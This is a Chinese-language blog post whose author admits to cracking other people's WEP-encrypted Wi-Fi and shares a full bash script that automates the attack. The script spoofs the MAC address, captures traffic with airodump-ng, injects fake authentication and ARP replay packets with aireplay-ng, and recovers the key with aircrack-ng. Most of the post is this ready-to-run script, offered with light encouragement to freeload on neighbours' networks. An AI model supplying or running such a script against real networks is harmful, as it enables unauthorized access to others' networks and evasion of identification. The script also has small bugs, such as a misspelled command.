前段时间为了图方便,干了不少破解别人无线加密的事(这样不好),当然都是wep加密的,WPA没试过,据说成功率很低。因为不停输命令太麻烦了,所以写了个脚本来给我做,测试挺好的,可以成功。

脚本在SourceForge上建了个项目,项目主页是: http://sourceforge.net/projects/aircrackwep/ ,你可以直接从那儿下载脚本执行,或者把下面的代码全部复制,建一个sh文件,

chmod +x filename.sh

给它执行权限,就可以在终端执行了。多嘴一句,蹭网可以,不要太过分了,注意影响,跨省什么的与我无关~

下面的脚本欢迎找茬,错的地方请尽管指出来,谢谢!

#!/bin/bash

echo "###############################################"
echo "#  This script is used to crack WEP password  #"
echo "#  of Wi-Fi Access Points.                    #"
echo "#  Depends on:   aircrack-ng                  #"
echo "#                macchanger                   #"
echo "#  PS. If you don't need to change your MAC   #"
echo "#  address, macchanger is not essential.      #"
echo "#    Version: 1.1                             #"
echo "#    Homepage:                                #"
echo "# https://sourceforge.net/projects/aircrackwep#"
echo "#    By: Chen Zhidong                         #"
echo "#    From: NanJing University of Technology   #"
echo "#    Email: njutczd@gmail.com                 #"
echo "###############################################"
echo ""

#Killing processes that could cause trouble first
echo -e "Killing processes that could cause trouble...\n"
sudo killall NetworkManager
sudo killall NetworkManagerDispatcher
sudo killall wpa_supplicant
sudo killall avahi-daemon
echo ""

#making a dir to store crack files
if [ -d ./Aircrack-Output ]; then
    echo > /dev/null
else
    mkdir "Aircrack-Output"
fi
cd "Aircrack-Output"

#choose your interface and start airmon-ng
read -p "Enter the interface you want to use:  " interface
sudo airmon-ng start $interface
clear

#MAC setting
true=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
read -p "Your true MAC address of $interface is $true, do you want to change it?(y/N)" macset
satisfy="n"
wifi="n"
until [ $wifi = y ];do
    case $macset in
    ( y|Y )until [ $satisfy = y ]; do
                #choose random or not
                clear
                read -p "Do you want a random MAC address?(Y/n)" random
                case $random in
                ( n|N )clear
                        echo "Since you want to set MAC address by pointed, please provide a MAC address:"
                        read hmac
                        echo "Setting the MAC address to $hmac..."
                        sudo ifconfig $interface down
                        sudo macchanger -m $hmac $interface
                        sudo ifconfig $interface up
                        ;;
                *)echo "Setting random MAC address..."
                        sudo ifconfig $interface down
                        sudo macchanger -r $interface
                        sudo ifconfig $interface up
                    ;;
                esac
                #whether satisfy
                clear
                echo "$interface is in `sudo macchanger -s wlan0`"
                read -p "Do you like the address above?(y/N)" satisfy
                case $satisfy in
                ( y|Y )satisfy="y"
                        hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
                        sudo ifconfig mon0 down
                        sudo macchanger -m $hmac mon0
                        sudo ifconfig mon0 up
                        ;;
                *)satisfy="n"
                    ;;
                esac
            done
            ;;
    *)echo "You are using true MAC address $true in $interface."
        hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'`
        ;;
    esac
    
    #confirm the MAC address setting
    clear
    echo -e "Wi-Fi Card Setting:\n\tInterface:\t\t$interface\n\tInterface's MAC:\t$hmac\n\nIs this correct?(Y/n)"
    read wifi
    case $wifi in
    ( n|N )wifi="n"
            ;;
    *)wifi="y"
        ;;
    esac
done

#Starting airodump-ng for you to choose an access point
clear
echo "Starting airodump-ng for you to choose an access point..."
sudo xterm -hold -e "airodump-ng mon0" &

#AP(Access Point) setting
verifyap="n"
until [ $verifyap = y ];do
    clear
    echo "Enter the BSSID of the access point:"
    read bssid
    echo "Enter the CHANNEL of the access point:"
    read channel
    
    #confirm the and AP setting
    clear
    echo -e "Access Point Setting:\n\tBSSID:\t\t$bssid\n\tChannel:\t$channel\n\nIs this correct?(Y/n)"
    read verifyap
    case $verifyap in
    ( n|N )verifyap="n"
            ;;
    *)verifyap="y"
        ;;
    esac
done

#sudo airmon-ng stop mon0
#sudo airmon-ng start $interface $channel

#start airodump-ng
clear
echo "Starting airodump-ng..."
sudo xterm -hold -e "airodump-ng -c $channel --bssid $bssid -w output mon0" &

#fake authenticate
echo "Trying to fake authenticate..."
status="n"
until [ $status = y ];do
    #clear
    sudo aireplay-ng -1 0 -a $bssid -h $hmac mon0
    read -p "Sometimes fake authenticate may fail. Did you successfully faked authenticate?(Y/n)" status
    case $status in
    ( n|N )status="n"
            ;;
    *)status="y"
        ;;
    esac
done

#start requesting arp request
clear
echo "Trying to start requesting arp request..."
sudo xterm -hold -e "aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac mon0" &

#start cracking when data got to more than 5000
read -p "Press Enter to run aircrack-ng..." aircrack
clear
sudo aircrack-ng output*.cap

#final step: kill processes and set default
echo "Now we've got some cleanning work..."
sudo killall xterm
sudo airmon-ng stop mon0
sudo ifconfig $interface down
sudo macchanger -m $true $interface
sudo ifconfig $interface up
sudo NetworkManeger

read -p "Do you want to delete crack files?(y/N)" del
if [ $del = y -o $del = Y ]; then
    echo "Deleting..."
    cd ..
    sudo rm -r "Aircrack-Output"
fi
clear
echo -e "Done! \nFor more information, visit homepage of this project in SourceForge:\n\thttps://sourceforge.net/projects/aircrackwep/"

exit 0
#End